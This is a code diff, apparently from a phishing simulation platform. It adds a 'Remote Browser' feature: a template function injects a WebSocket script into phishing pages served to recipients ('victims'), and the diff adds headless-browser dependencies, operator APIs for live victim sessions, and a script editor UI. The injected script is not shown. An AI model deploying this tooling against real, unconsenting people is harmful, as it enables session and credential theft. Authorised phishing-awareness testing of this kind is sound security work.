isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return result, errs.ErrAuthorizationFailed
|
||||
}
|
||||
result, err = s.RemoteBrowserRepository.GetAllSubset(ctx, companyID, options)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browser overview", "error", err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetByID returns a single remote browser by ID.
|
||||
func (s *RemoteBrowser) GetByID(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
id *uuid.UUID,
|
||||
options *repository.RemoteBrowserOption,
|
||||
) (*model.RemoteBrowser, error) {
|
||||
ae := NewAuditEvent("RemoteBrowser.GetByID", session)
|
||||
ae.Details["id"] = id.String()
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return nil, errs.ErrAuthorizationFailed
|
||||
}
|
||||
rb, err := s.RemoteBrowserRepository.GetByID(ctx, id, options)
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browser by ID", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
return rb, nil
|
||||
}
|
||||
|
||||
// UpdateByID updates mutable fields on a remote browser.
|
||||
func (s *RemoteBrowser) UpdateByID(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
id *uuid.UUID,
|
||||
rb *model.RemoteBrowser,
|
||||
) error {
|
||||
ae := NewAuditEvent("RemoteBrowser.UpdateByID", session)
|
||||
ae.Details["id"] = id.String()
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return err
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return errs.ErrAuthorizationFailed
|
||||
}
|
||||
|
||||
current, err := s.RemoteBrowserRepository.GetByID(ctx, id, &repository.RemoteBrowserOption{})
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return err
|
||||
}
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browser for update", "error", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := rb.Name.Get(); err == nil {
|
||||
var companyID *uuid.UUID
|
||||
if cid, err := current.CompanyID.Get(); err == nil {
|
||||
companyID = &cid
|
||||
}
|
||||
name := rb.Name.MustGet()
|
||||
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, id)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to check remote browser name uniqueness on update", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
if !isOK {
|
||||
return validate.WrapErrorWithField(errors.New("is not unique"), "name")
|
||||
}
|
||||
}
|
||||
|
||||
if err := s.RemoteBrowserRepository.UpdateByID(ctx, id, rb); err != nil {
|
||||
s.Logger.Errorw("failed to update remote browser", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
s.AuditLogAuthorized(ae)
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteByID removes a remote browser.
|
||||
func (s *RemoteBrowser) DeleteByID(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
id *uuid.UUID,
|
||||
) error {
|
||||
ae := NewAuditEvent("RemoteBrowser.DeleteByID", session)
|
||||
ae.Details["id"] = id.String()
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return err
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return errs.ErrAuthorizationFailed
|
||||
}
|
||||
if err := s.RemoteBrowserRepository.DeleteByID(ctx, id); err != nil {
|
||||
s.Logger.Errorw("failed to delete remote browser", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
s.AuditLogAuthorized(ae)
|
||||
return nil
|
||||
}
|
||||
@@ -16,7 +16,9 @@ import (
|
||||
|
||||
"github.com/go-errors/errors"
|
||||
"github.com/google/uuid"
|
||||
"github.com/phishingclub/phishingclub/embedded"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/data"
|
||||
"github.com/phishingclub/phishingclub/database"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
@@ -33,6 +35,8 @@ const trackingPixelTemplate = "{{.Tracker}}"
|
||||
type Template struct {
|
||||
Common
|
||||
RecipientRepository *repository.Recipient
|
||||
OptionRepository *repository.Option
|
||||
RemoteBrowserRepository *repository.RemoteBrowser
|
||||
MicrosoftDeviceCodeService *MicrosoftDeviceCode
|
||||
}
|
||||
|
||||
@@ -448,6 +452,38 @@ func (t *Template) CreatePhishingPageWithCampaignAndRecipient(
|
||||
templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID)
|
||||
}
|
||||
|
||||
// Add RemoteBrowserScript - injects a <script> that opens a WS to the victim
|
||||
// endpoint and exposes window.RemoteBrowser.on(event, fn) / .send(event, data).
|
||||
// Usage in page template: {{RemoteBrowserScript "remote-browser-uuid"}}
|
||||
{
|
||||
wsPath := t.remoteBrowserWSPath(ctx)
|
||||
capturedID := id // close over the campaign recipient ID for this render
|
||||
hasCampaign := campaign != nil
|
||||
templateFuncs["RemoteBrowserScript"] = func(rbName string) string {
|
||||
if !hasCampaign || capturedID == "" || rbName == "" || t.RemoteBrowserRepository == nil {
|
||||
return ""
|
||||
}
|
||||
nameVO, err := vo.NewString64(rbName)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
rb, err := t.RemoteBrowserRepository.GetByNameAndCompanyID(ctx, nameVO, companyID, &repository.RemoteBrowserOption{})
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
rbIDVal, err := rb.ID.Get()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
script := strings.NewReplacer(
|
||||
"__WS_PATH__", wsPath,
|
||||
"__CR_ID__", capturedID,
|
||||
"__RB_ID__", rbIDVal.String(),
|
||||
).Replace(embedded.RemoteBrowserInjectJS)
|
||||
return "<script>" + script + "</script>"
|
||||
}
|
||||
}
|
||||
|
||||
tmpl, err := template.New("page").
|
||||
Funcs(templateFuncs).
|
||||
Parse(contentToRender)
|
||||
@@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL(
|
||||
return data
|
||||
}
|
||||
|
||||
// remoteBrowserWSPath returns the seeded random path segment used for the
|
||||
// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if
|
||||
// the option is not yet seeded (e.g. during tests or first startup).
|
||||
func (t *Template) remoteBrowserWSPath(ctx context.Context) string {
|
||||
if t.OptionRepository == nil {
|
||||
return "rbws"
|
||||
}
|
||||
if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil {
|
||||
return opt.Value.String()
|
||||
}
|
||||
return "rbws"
|
||||
}
|
||||
|
||||
// TemplateFuncs returns template functions for templates
|
||||
func TemplateFuncs() template.FuncMap {
|
||||
return template.FuncMap{
|
||||
@@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap {
|
||||
"DeviceCodeCaptured": func(args ...string) (bool, error) {
|
||||
return false, nil
|
||||
},
|
||||
// RemoteBrowserScript is a no-op stub used during template validation; it is replaced with
|
||||
// a live implementation that outputs a real WebSocket <script> tag when rendering for recipients.
|
||||
"RemoteBrowserScript": func(rbID string) string {
|
||||
return ""
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Vendored
+54
@@ -125,6 +125,20 @@ github.com/cloudwego/iasm/x86_64
|
||||
# github.com/davecgh/go-spew v1.1.1
|
||||
## explicit
|
||||
github.com/davecgh/go-spew/spew
|
||||
# github.com/dlclark/regexp2 v1.11.4
|
||||
## explicit; go 1.13
|
||||
github.com/dlclark/regexp2
|
||||
github.com/dlclark/regexp2/syntax
|
||||
# github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
|
||||
## explicit; go 1.20
|
||||
github.com/dop251/goja
|
||||
github.com/dop251/goja/ast
|
||||
github.com/dop251/goja/file
|
||||
github.com/dop251/goja/ftoa
|
||||
github.com/dop251/goja/ftoa/internal/fast
|
||||
github.com/dop251/goja/parser
|
||||
github.com/dop251/goja/token
|
||||
github.com/dop251/goja/unistring
|
||||
# github.com/enetx/g v1.0.194
|
||||
## explicit; go 1.24.0
|
||||
github.com/enetx/g
|
||||
@@ -245,6 +259,23 @@ github.com/go-playground/universal-translator
|
||||
# github.com/go-playground/validator/v10 v10.22.0
|
||||
## explicit; go 1.18
|
||||
github.com/go-playground/validator/v10
|
||||
# github.com/go-rod/rod v0.116.2
|
||||
## explicit; go 1.21
|
||||
github.com/go-rod/rod
|
||||
github.com/go-rod/rod/lib/assets
|
||||
github.com/go-rod/rod/lib/cdp
|
||||
github.com/go-rod/rod/lib/defaults
|
||||
github.com/go-rod/rod/lib/devices
|
||||
github.com/go-rod/rod/lib/input
|
||||
github.com/go-rod/rod/lib/js
|
||||
github.com/go-rod/rod/lib/launcher
|
||||
github.com/go-rod/rod/lib/launcher/flags
|
||||
github.com/go-rod/rod/lib/proto
|
||||
github.com/go-rod/rod/lib/utils
|
||||
# github.com/go-sourcemap/sourcemap v2.1.3+incompatible
|
||||
## explicit
|
||||
github.com/go-sourcemap/sourcemap
|
||||
github.com/go-sourcemap/sourcemap/internal/base64vlq
|
||||
# github.com/go-task/slim-sprig/v3 v3.0.0
|
||||
## explicit; go 1.20
|
||||
github.com/go-task/slim-sprig/v3
|
||||
@@ -272,6 +303,9 @@ github.com/google/pprof/profile
|
||||
# github.com/google/uuid v1.3.1
|
||||
## explicit
|
||||
github.com/google/uuid
|
||||
# github.com/gorilla/websocket v1.5.3
|
||||
## explicit; go 1.12
|
||||
github.com/gorilla/websocket
|
||||
# github.com/jinzhu/inflection v1.0.0
|
||||
## explicit
|
||||
github.com/jinzhu/inflection
|
||||
@@ -453,6 +487,23 @@ github.com/yeqown/go-qrcode/v2
|
||||
## explicit
|
||||
github.com/yeqown/reedsolomon
|
||||
github.com/yeqown/reedsolomon/binary
|
||||
# github.com/ysmood/fetchup v0.2.3
|
||||
## explicit; go 1.20
|
||||
github.com/ysmood/fetchup
|
||||
# github.com/ysmood/goob v0.4.0
|
||||
## explicit; go 1.15
|
||||
github.com/ysmood/goob
|
||||
# github.com/ysmood/got v0.40.0
|
||||
## explicit; go 1.21
|
||||
github.com/ysmood/got/lib/lcs
|
||||
# github.com/ysmood/gson v0.7.3
|
||||
## explicit; go 1.15
|
||||
github.com/ysmood/gson
|
||||
# github.com/ysmood/leakless v0.9.0
|
||||
## explicit; go 1.15
|
||||
github.com/ysmood/leakless
|
||||
github.com/ysmood/leakless/pkg/shared
|
||||
github.com/ysmood/leakless/pkg/utils
|
||||
# github.com/zeebo/blake3 v0.2.3
|
||||
## explicit; go 1.13
|
||||
github.com/zeebo/blake3
|
||||
@@ -541,6 +592,7 @@ golang.org/x/sys/windows
|
||||
# golang.org/x/text v0.30.0
|
||||
## explicit; go 1.24.0
|
||||
golang.org/x/text/cases
|
||||
golang.org/x/text/collate
|
||||
golang.org/x/text/encoding
|
||||
golang.org/x/text/encoding/charmap
|
||||
golang.org/x/text/encoding/htmlindex
|
||||
@@ -552,6 +604,7 @@ golang.org/x/text/encoding/simplifiedchinese
|
||||
golang.org/x/text/encoding/traditionalchinese
|
||||
golang.org/x/text/encoding/unicode
|
||||
golang.org/x/text/internal
|
||||
golang.org/x/text/internal/colltab
|
||||
golang.org/x/text/internal/language
|
||||
golang.org/x/text/internal/language/compact
|
||||
golang.org/x/text/internal/tag
|
||||
@@ -563,6 +616,7 @@ golang.org/x/text/secure/precis
|
||||
golang.org/x/text/transform
|
||||
golang.org/x/text/unicode/bidi
|
||||
golang.org/x/text/unicode/norm
|
||||
golang.org/x/text/unicode/rangetable
|
||||
golang.org/x/text/width
|
||||
# golang.org/x/time v0.14.0
|
||||
## explicit; go 1.24.0
|
||||
|
||||
@@ -3280,6 +3280,93 @@ export class API {
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* remoteBrowser is the API for Remote Browser script management and test runs.
|
||||
*/
|
||||
remoteBrowser = {
|
||||
/**
|
||||
* Get a Remote Browser by ID.
|
||||
* @param {string} id
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getByID: async (id) => {
|
||||
return await getJSON(this.getPath(`/remote-browser/${id}`));
|
||||
},
|
||||
|
||||
/**
|
||||
* Get all Remote Browsers with pagination.
|
||||
* @param {TableURLParams} options
|
||||
* @param {string|null} companyID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getAll: async (options, companyID = null) => {
|
||||
return await getJSON(
|
||||
this.getPath(`/remote-browser?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`)
|
||||
);
|
||||
},
|
||||
|
||||
/**
|
||||
* Get lightweight overview list.
|
||||
* @param {TableURLParams} options
|
||||
* @param {string|null} companyID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getAllSubset: async (options, companyID = null) => {
|
||||
return await getJSON(
|
||||
this.getPath(
|
||||
`/remote-browser/overview?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`
|
||||
)
|
||||
);
|
||||
},
|
||||
|
||||
/**
|
||||
* Create a new Remote Browser.
|
||||
* @param {object} rb
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
create: async (rb) => {
|
||||
return await postJSON(this.getPath('/remote-browser'), rb);
|
||||
},
|
||||
|
||||
/**
|
||||
* Update a Remote Browser.
|
||||
* @param {string} id
|
||||
* @param {object} rb
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
update: async (id, rb) => {
|
||||
return await patchJSON(this.getPath(`/remote-browser/${id}`), rb);
|
||||
},
|
||||
|
||||
/**
|
||||
* Delete a Remote Browser.
|
||||
* @param {string} id
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
delete: async (id) => {
|
||||
return await deleteJSON(this.getPath(`/remote-browser/${id}`));
|
||||
},
|
||||
|
||||
/**
|
||||
* List active live sessions (optionally filter by campaignID).
|
||||
* @param {string|null} campaignID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getLiveSessions: async (campaignID = null) => {
|
||||
const q = campaignID ? `?campaignID=${campaignID}` : '';
|
||||
return await getJSON(this.getPath(`/remote-browser/live${q}`));
|
||||
},
|
||||
|
||||
/**
|
||||
* Close (kill) an active live session.
|
||||
* @param {string} crID Campaign-recipient ID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
closeLiveSession: async (crID) => {
|
||||
return await deleteJSON(this.getPath(`/remote-browser/live/${crID}`));
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* ipAllowList is the API for IP Allow List related operations.
|
||||
*/
|
||||
|
||||
@@ -347,6 +347,7 @@
|
||||
{/if}
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
class="w-4 hover:scale-110 flex-shrink-0"
|
||||
on:click={close}
|
||||
disabled={isSubmitting}
|
||||
|
||||
@@ -92,6 +92,9 @@
|
||||
if ($displayMode === DISPLAY_MODE.BLACKBOX) {
|
||||
result['Device Code'] = deviceCodeTemplates;
|
||||
}
|
||||
if ($displayMode === DISPLAY_MODE.BLACKBOX && contentType === 'page') {
|
||||
result['Remote Browser'] = [{ label: 'Script', text: '{{RemoteBrowserScript "remote_browser_name"}}' }];
|
||||
}
|
||||
return result;
|
||||
})();
|
||||
|
||||
@@ -457,7 +460,8 @@
|
||||
.replaceAll('{{.URL}}', _url)
|
||||
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
|
||||
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin')
|
||||
.replaceAll('{{DeviceCodeCaptured}}', 'false');
|
||||
.replaceAll('{{DeviceCodeCaptured}}', 'false')
|
||||
.replace(/\{\{RemoteBrowserScript\s+"[^"]*"\}\}/g, '<!-- RemoteBrowserScript (injected at runtime) -->');
|
||||
case 'email':
|
||||
return text
|
||||
.replaceAll('{{.FirstName}}', 'Alice')
|
||||
@@ -534,6 +538,7 @@
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
// formatDate converts readable date format (YmdHis) to formatted date string
|
||||
const formatDate = (date, format) => {
|
||||
const pad = (num, size = 2) => num.toString().padStart(size, '0');
|
||||
@@ -658,7 +663,7 @@
|
||||
const t = /** @type {HTMLSelectElement} */ (e.target);
|
||||
if (t.value) {
|
||||
insertTemplate(t.value);
|
||||
t.value = ''; // reset selection
|
||||
t.value = '';
|
||||
}
|
||||
}}
|
||||
>
|
||||
|
||||
@@ -161,6 +161,11 @@
|
||||
proxy: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5" />
|
||||
</svg>
|
||||
`,
|
||||
|
||||
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
|
||||
</svg>
|
||||
`
|
||||
};
|
||||
|
||||
@@ -176,6 +181,7 @@
|
||||
'/domain/': 'domains_overview',
|
||||
'/page/': 'pages',
|
||||
'/proxy/': 'proxy',
|
||||
'/remote-browser/': 'remote_browser',
|
||||
'/asset/': 'assets',
|
||||
'/email/': 'emails_overview',
|
||||
'/attachment/': 'attachments',
|
||||
|
||||
@@ -97,6 +97,11 @@
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" />
|
||||
</svg>`,
|
||||
|
||||
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
|
||||
</svg>
|
||||
`,
|
||||
|
||||
tools: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-5">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M11.42 15.17 17.25 21A2.652 2.652 0 0 0 21 17.25l-5.877-5.877M11.42 15.17l2.496-3.03c.317-.384.74-.626 1.208-.766M11.42 15.17l-4.655 5.653a2.548 2.548 0 1 1-3.586-3.586l6.837-5.63m5.108-.233c.55-.164 1.163-.188 1.743-.14a4.5 4.5 0 0 0 4.486-6.336l-3.276 3.277a3.004 3.004 0 0 1-2.25-2.25l3.276-3.276a4.5 4.5 0 0 0-6.336 4.486c.091 1.076-.071 2.264-.904 2.95l-.102.085m-1.745 1.437L5.909 7.5H4.5L2.25 3.75l1.5-1.5L7.5 4.5v1.409l4.26 4.26m-1.745 1.437 1.745-1.437m6.615 8.206L15.75 15.75M4.867 19.125h.008v.008h-.008v-.008Z" />
|
||||
</svg>`,
|
||||
@@ -128,6 +133,7 @@
|
||||
'/smtp-configuration/': 'smtp_configurations',
|
||||
'/api-sender/': 'api_senders',
|
||||
'/oauth-provider/': 'oauth_providers',
|
||||
'/remote-browser/': 'remote_browser',
|
||||
'/profile/': 'profile',
|
||||
'/sessions/': 'sessions',
|
||||
'/user/': 'users',
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
<script>
|
||||
import { onDestroy } from 'svelte';
|
||||
import { activeFormElement } from '$lib/store/activeFormElement';
|
||||
import { scrollBarClassesVertical } from '$lib/utils/scrollbar';
|
||||
|
||||
export let victimConnected = false;
|
||||
|
||||
let isMenuVisible = false;
|
||||
let menuX = 0;
|
||||
let menuY = 0;
|
||||
let menuRef = null;
|
||||
let buttonRef = null;
|
||||
|
||||
const dropdownId = Symbol();
|
||||
|
||||
const unsubscribe = activeFormElement.subscribe((activeId) => {
|
||||
isMenuVisible = activeId === dropdownId;
|
||||
});
|
||||
|
||||
const toggle = (e) => {
|
||||
if (isMenuVisible) {
|
||||
activeFormElement.set(null);
|
||||
} else {
|
||||
document.addEventListener('click', handleClickWhenVisible);
|
||||
document.addEventListener('keydown', handleGlobalKeydown);
|
||||
activeFormElement.set(dropdownId);
|
||||
|
||||
const viewportHeight = window.innerHeight;
|
||||
const viewportWidth = window.innerWidth;
|
||||
const buffer = 20;
|
||||
const minHeight = 64;
|
||||
const maxHeight = 400;
|
||||
const gap = 8;
|
||||
|
||||
let x, y;
|
||||
if (e.clientX !== undefined && e.clientY !== undefined) {
|
||||
x = e.clientX;
|
||||
y = e.clientY;
|
||||
} else {
|
||||
const rect = buttonRef.getBoundingClientRect();
|
||||
x = rect.left + rect.width / 2;
|
||||
y = rect.top;
|
||||
}
|
||||
|
||||
const spaceAbove = y - buffer;
|
||||
const spaceBelow = viewportHeight - y - buffer;
|
||||
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
|
||||
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
|
||||
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
|
||||
|
||||
const menuWidth = 256;
|
||||
const spaceOnRight = viewportWidth - x - buffer;
|
||||
menuX = spaceOnRight >= menuWidth ? x : x - menuWidth;
|
||||
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
|
||||
|
||||
if (shouldShowAbove) {
|
||||
menuRef.style.visibility = 'hidden';
|
||||
menuRef.style.display = 'block';
|
||||
const actualMenuHeight = menuRef.scrollHeight;
|
||||
menuRef.style.display = '';
|
||||
menuRef.style.visibility = '';
|
||||
menuY = y - actualMenuHeight - gap;
|
||||
} else {
|
||||
menuY = y + gap;
|
||||
}
|
||||
|
||||
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
|
||||
}
|
||||
};
|
||||
|
||||
const handleClickWhenVisible = (event) => {
|
||||
if (isMenuVisible && menuRef && buttonRef) {
|
||||
activeFormElement.set(null);
|
||||
}
|
||||
event.preventDefault();
|
||||
event.stopPropagation();
|
||||
document.removeEventListener('click', handleClickWhenVisible);
|
||||
};
|
||||
|
||||
const handleGlobalKeydown = (event) => {
|
||||
if (event.key === 'Escape' && isMenuVisible) {
|
||||
activeFormElement.set(null);
|
||||
document.removeEventListener('keydown', handleGlobalKeydown);
|
||||
}
|
||||
};
|
||||
|
||||
const handleKeydown = (e) => {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
toggle(e);
|
||||
} else if (e.key === 'Escape' && isMenuVisible) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
activeFormElement.set(null);
|
||||
}
|
||||
};
|
||||
|
||||
const _onDestroy = () => {
|
||||
document.removeEventListener('click', handleClickWhenVisible);
|
||||
document.removeEventListener('keydown', handleGlobalKeydown);
|
||||
unsubscribe();
|
||||
activeFormElement.update((current) => (current === dropdownId ? null : current));
|
||||
};
|
||||
|
||||
onDestroy(_onDestroy);
|
||||
</script>
|
||||
|
||||
<div>
|
||||
<button
|
||||
bind:this={buttonRef}
|
||||
class="flex items-center gap-1 rounded px-1.5 py-0.5 text-xs font-semibold transition-colors duration-150 focus:outline-none {victimConnected
|
||||
? 'bg-green-100 text-green-700 hover:bg-green-200 dark:bg-green-900/40 dark:text-green-400 dark:hover:bg-green-800/50'
|
||||
: 'bg-yellow-100 text-yellow-700 hover:bg-yellow-200 dark:bg-yellow-900/40 dark:text-yellow-400 dark:hover:bg-yellow-800/50'}"
|
||||
on:click|stopPropagation|preventDefault={toggle}
|
||||
on:keydown={handleKeydown}
|
||||
>
|
||||
{#if victimConnected}
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-green-500 animate-pulse inline-block"></span>
|
||||
Live
|
||||
{:else}
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-yellow-500 inline-block"></span>
|
||||
Active
|
||||
{/if}
|
||||
<svg class="w-3 h-3 opacity-60" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path fill-rule="evenodd" d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
<div
|
||||
bind:this={menuRef}
|
||||
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
|
||||
class:hidden={!isMenuVisible}
|
||||
>
|
||||
<ul class="flex flex-col text-left">
|
||||
<slot />
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
@@ -0,0 +1,977 @@
|
||||
<script>
|
||||
import { onMount, createEventDispatcher } from 'svelte';
|
||||
import * as monaco from 'monaco-editor';
|
||||
import editorWorker from 'monaco-editor/esm/vs/editor/editor.worker?worker';
|
||||
import tsWorker from 'monaco-editor/esm/vs/language/typescript/ts.worker?worker';
|
||||
import { vimModeEnabled } from '$lib/store/vimMode.js';
|
||||
import {
|
||||
setupVimClipboardIntegration,
|
||||
destroyVimClipboardIntegration
|
||||
} from '$lib/utils/vimClipboard.js';
|
||||
import * as vimModule from 'monaco-vim';
|
||||
import TextField from '$lib/components/TextField.svelte';
|
||||
import { api } from '$lib/api/apiProxy.js';
|
||||
import RemoteBrowserStream from '$lib/components/remote-browser/RemoteBrowserStream.svelte';
|
||||
|
||||
const dispatch = createEventDispatcher();
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Props
|
||||
// -------------------------------------------------------------------------
|
||||
/** @type {string} */
|
||||
export let name = '';
|
||||
/** @type {string} */
|
||||
export let description = '';
|
||||
/** @type {string} */
|
||||
export let script = '';
|
||||
/** @type {string} script is the JS source to edit */
|
||||
export let config = JSON.stringify(
|
||||
{ mode: 'local', remote: '', proxy: '', timeout: 300000 },
|
||||
null,
|
||||
2
|
||||
);
|
||||
/** @type {string|null} */
|
||||
export let id = null;
|
||||
/** @type {string} last persisted script - used to show unsaved-changes warning */
|
||||
export let savedScript = '';
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Editor state
|
||||
// -------------------------------------------------------------------------
|
||||
let editorContainer;
|
||||
let editor = null;
|
||||
let isDark = false;
|
||||
let vimStatusBarEl = null;
|
||||
let vimModeInstance = null;
|
||||
let isDestroyed = false;
|
||||
let localVimMode = false;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Config panel state (parsed from JSON config string)
|
||||
// -------------------------------------------------------------------------
|
||||
let cfgMode = 'local'; // "local" | "remote"
|
||||
let cfgRemote = '';
|
||||
let cfgProxy = '';
|
||||
let cfgHeadless = true;
|
||||
let cfgTimeout = 5; // minutes (converted to ms on save)
|
||||
|
||||
function parseConfig(raw) {
|
||||
try {
|
||||
const obj = JSON.parse(raw || '{}');
|
||||
cfgMode = obj.mode || 'local';
|
||||
cfgRemote = obj.remote || '';
|
||||
cfgProxy = obj.proxy || '';
|
||||
cfgHeadless = obj.headless ?? true;
|
||||
cfgTimeout = Math.round((obj.timeout || 300000) / 60000);
|
||||
} catch {
|
||||
// keep defaults
|
||||
}
|
||||
}
|
||||
|
||||
function buildConfig() {
|
||||
return JSON.stringify(
|
||||
{
|
||||
mode: cfgMode,
|
||||
remote: cfgRemote,
|
||||
proxy: cfgProxy,
|
||||
headless: cfgHeadless,
|
||||
timeout: cfgTimeout * 60000
|
||||
},
|
||||
null,
|
||||
2
|
||||
);
|
||||
}
|
||||
|
||||
// Only rebuild config from form fields after mount (prevents overwriting the incoming prop).
|
||||
let _mounted = false;
|
||||
$: if (_mounted) config = buildConfig();
|
||||
|
||||
// When the parent passes a new config (e.g. opening a different record),
|
||||
// re-parse it into the form fields - but only if it differs from what we'd build ourselves.
|
||||
let _lastBuilt = '';
|
||||
$: if (_mounted && config !== _lastBuilt) {
|
||||
const built = buildConfig();
|
||||
if (config !== built) {
|
||||
